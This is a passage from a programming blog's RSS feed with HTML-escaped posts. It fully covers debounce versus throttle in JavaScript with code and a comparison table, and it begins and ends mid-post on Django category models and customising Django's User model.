resources&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/4.0/ref/models/fields/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Official documentation on the ForeignKey to self&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Grouping by categories is quite common in web applications, from movies, courses or any other resource that presents a hierarchical relationship to another object. In Django there are different ways to model these relationships. Probably, the first that will come to your mind will be to create a &lt;em&gt;category&lt;/em&gt; object, and then relate it by means of a &lt;em&gt;ForeignKey&lt;/em&gt; with a &lt;em&gt;subcategory&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;one-subcategory-or-level-per-model&#34;&gt;One subcategory or level per model&lt;/h2&gt;&#xA;&lt;p&gt;What I meant by one category or level per model is something like this:&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Debounce and Throttle Interactive Explanation</title>
      <link>https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/</link>
      <pubDate>Wed, 23 Mar 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/</guid>
      
      <category>javascript</category>
      
      <category>algorithms</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;I thought let&amp;rsquo;s do a Debounce vs Throttle. Debounce and throttle are &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/design-patterns-in-software/&#34;&gt;design patterns&lt;/a&gt;&#xA; used to limit the execution of functions, generally they are used to restrict the amount of times an event is fired: click, scroll, resize or other events. This patterns are not exclusive to Javascript and can be used in any language or can be used as high level abstractions; in a previous post I explained how to use throttle to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/throttling-on-nginx/&#34;&gt;limit the number of requests received by the nginx server&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Both patterns generate a function that receives a callback and a timeout or delay.&lt;/p&gt;&#xA;&lt;h2 id=&#34;debounce-vs-throttle-interactive-and-visual-explanation&#34;&gt;Debounce vs Throttle interactive and visual explanation&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s use an interactive example to see the differences between Debounce and Throttle. Think of a virtual farm, where each time you press a key, an animal is added to the pen. We have two pens, one that works with Debounce and the other with Throttle.&lt;/p&gt;&#xA;&lt;p&gt;If you type in the text box, you&amp;rsquo;ll see how each pen behaves.&lt;/p&gt;&#xA;&lt;div id=&#34;app-debounce-vs-throttle&#34;&gt;&lt;/div&gt;&#xA;&lt;script type=&#34;module&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/raw/upload/v1760636200/coffee-bytes/index-CBAUHLL7_qlfk88.js&#34;&gt;&lt;/script&gt;&#xA;&#xA;&lt;h2 id=&#34;debounce-vs-throttle-main-differences&#34;&gt;Debounce vs Throttle main differences&lt;/h2&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re in a rush  &lt;del&gt;or just lazy&lt;/del&gt;, these are the main differences and applications for both patterns. However, if you want a deeper understanding of both keep reading.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;strong&gt;Aspect&lt;/strong&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;strong&gt;Debounce&lt;/strong&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;strong&gt;Throttle&lt;/strong&gt;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Definition&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Executes the function after a specified delay from the last time the event was triggered.&lt;/td&gt;&#xA;          &lt;td&gt;Executes the function at regular intervals, ensuring it is called no more than once per period.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Timing of Execution&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Delayed until the event stops firing for a certain period.&lt;/td&gt;&#xA;          &lt;td&gt;Executes immediately or at fixed intervals, regardless of how frequently the event occurs.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Use Case Example&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Search input field: updating suggestions only after the user stops typing for a moment.&lt;/td&gt;&#xA;          &lt;td&gt;Scroll events: limiting the rate at which a scroll position is calculated.&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;whats-the-debounce-pattern&#34;&gt;What&amp;rsquo;s the debounce pattern?&lt;/h2&gt;&#xA;&lt;p&gt;The debounce pattern postpones the execution of a function until a certain waiting time has elapsed.&lt;/p&gt;&#xA;&lt;p&gt;Further attempts to execute the function will cancel the pending execution and restart the timeout.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/images/Bounce-design-pattern-programming.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/images/Bounce-design-pattern-programming.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simplified debounce pattern schematic&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;debounce-pattern-explanation&#34;&gt;Debounce pattern explanation&lt;/h3&gt;&#xA;&lt;p&gt;The code for debounce in javascript looks like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; debounce &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (callback, waitTimeInMs) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; timeout &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (...args) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    clearTimeout(timeout)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    timeout &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; setTimeout(()=&amp;gt; callback(...args), waitTimeInMs)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our debounce function returns a function, which will receive any number of arguments (&amp;hellip;args).&lt;/p&gt;&#xA;&lt;p&gt;This function uses a closure to access the variable timeout. What is timeout? timeout is a &lt;em&gt;setTimeout&lt;/em&gt; function, which schedules the execution of our callback for later execution.&lt;/p&gt;&#xA;&lt;p&gt;But now pay attention to the clearTimeout. Every time we call the debounce function it will clear any scheduled function, so the only way for our callback to run is to wait for the time we passed as an argument.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;how-does-the-throttling-pattern-work&#34;&gt;How does the throttling pattern work?&lt;/h2&gt;&#xA;&lt;p&gt;The throttling pattern sets a waiting time during which no more functions can be called again. Unlike the bounce pattern, the timeout is not reset if we try to call the function again.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/images/throttling-eng.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/images/throttling-eng.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simplified diagram of the throttling pattern&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;explanation-of-throttling-pattern&#34;&gt;Explanation of throttling pattern&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;The code for throttling in javascript looks like this.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; throttling &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (callback, delay) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; timeout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (...args) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; (timeout &lt;span style=&#34;color:#ff6ac1&#34;&gt;!==&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;undefined&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    timeout &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; setTimeout(() =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      timeout &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;undefined&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }, delay)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; callback(...args)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The throttling function returns a function that will have two sides depending on the timeout status:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;timeout is defined: this means that a function is already scheduled for execution, in this case the function does nothing, i.e. it blocks the execution of new functions by means of an empty return.&lt;/li&gt;&#xA;&lt;li&gt;timeout is not defined: if timeout is not defined, we create a &lt;em&gt;setTimeout&lt;/em&gt; and assign it to the &lt;em&gt;timeout&lt;/em&gt; variable. This function, once its execution time has elapsed, will remove itself from the &lt;em&gt;timeout&lt;/em&gt; variable. Subsequently, and to finish, we execute the callback function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;other-resources-on-debounce-and-throttling&#34;&gt;Other resources on debounce and throttling&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://charliesbot.dev/blog/debounce-and-throttle&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Debounce and throttling in Typescript&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://webdesign.tutsplus.com/es/tutorials/javascript-debounce-and-throttle--cms-36783&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Debounce y throttling applied to the DOM&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;I thought let&amp;rsquo;s do a Debounce vs Throttle. Debounce and throttle are &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/design-patterns-in-software/&#34;&gt;design patterns&lt;/a&gt;&#xA; used to limit the execution of functions, generally they are used to restrict the amount of times an event is fired: click, scroll, resize or other events. This patterns are not exclusive to Javascript and can be used in any language or can be used as high level abstractions; in a previous post I explained how to use throttle to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/throttling-on-nginx/&#34;&gt;limit the number of requests received by the nginx server&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to customize the User model in Django?</title>
      <link>https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/</link>
      <pubDate>Wed, 16 Mar 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In this post I explain three methods to extend or customize Django&amp;rsquo;s &lt;em&gt;User&lt;/em&gt; model, without having to rewrite it from scratch, and keeping all &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django&amp;rsquo;s user management features&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;But, before we start, let&amp;rsquo;s see where Django&amp;rsquo;s User model comes from.&lt;/p&gt;&#xA;&lt;h2 id=&#34;where-does-the-django-user-model-come-from&#34;&gt;Where does the Django User model come from?&lt;/h2&gt;&#xA;&lt;p&gt;Django&amp;rsquo;s &lt;em&gt;User&lt;/em&gt; model inherits from &lt;em&gt;AbstractUser&lt;/em&gt; which, in turn, inherits from the &lt;em&gt;AbstractBaseUser&lt;/em&gt; class.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    AbstractBaseUser--&gt;AbstractUser;&#xA;    AbstractUser--&gt;User;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;If you look at the Django source code, you will see that the &lt;strong&gt;User model you normally use has virtually no functionality of its own&lt;/strong&gt;, but inherits all of its functionality from &lt;em&gt;AbstractUser&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/UserDjango.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-customize-the-user-model-in-django/images/UserDjango.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of Django User model code&#34; width=&#34;985&#34; height=&#34;201&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Screenshot of Django version 4.0 code&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Now that we know the above, &lt;strong&gt;we can use the AbstractUser and AbstractBaseUser classes to create our custom User models&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;extend-django-user-model-inheriting-from-djangos-abstractuser-subclass&#34;&gt;Extend Django user model inheriting from Django&amp;rsquo;s AbstractUser subclass&lt;/h2&gt;&#xA;&lt;p&gt;This method is probably the most popular method for extending Django&amp;rsquo;s &lt;em&gt;User&lt;/em&gt; model. This is because it retains almost all the functionality of the original &lt;em&gt;User&lt;/em&gt; model.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# users/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; AbstractUser&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;CustomUser&lt;/span&gt;(AbstractUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Other properties defined by you&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    credits &lt;span 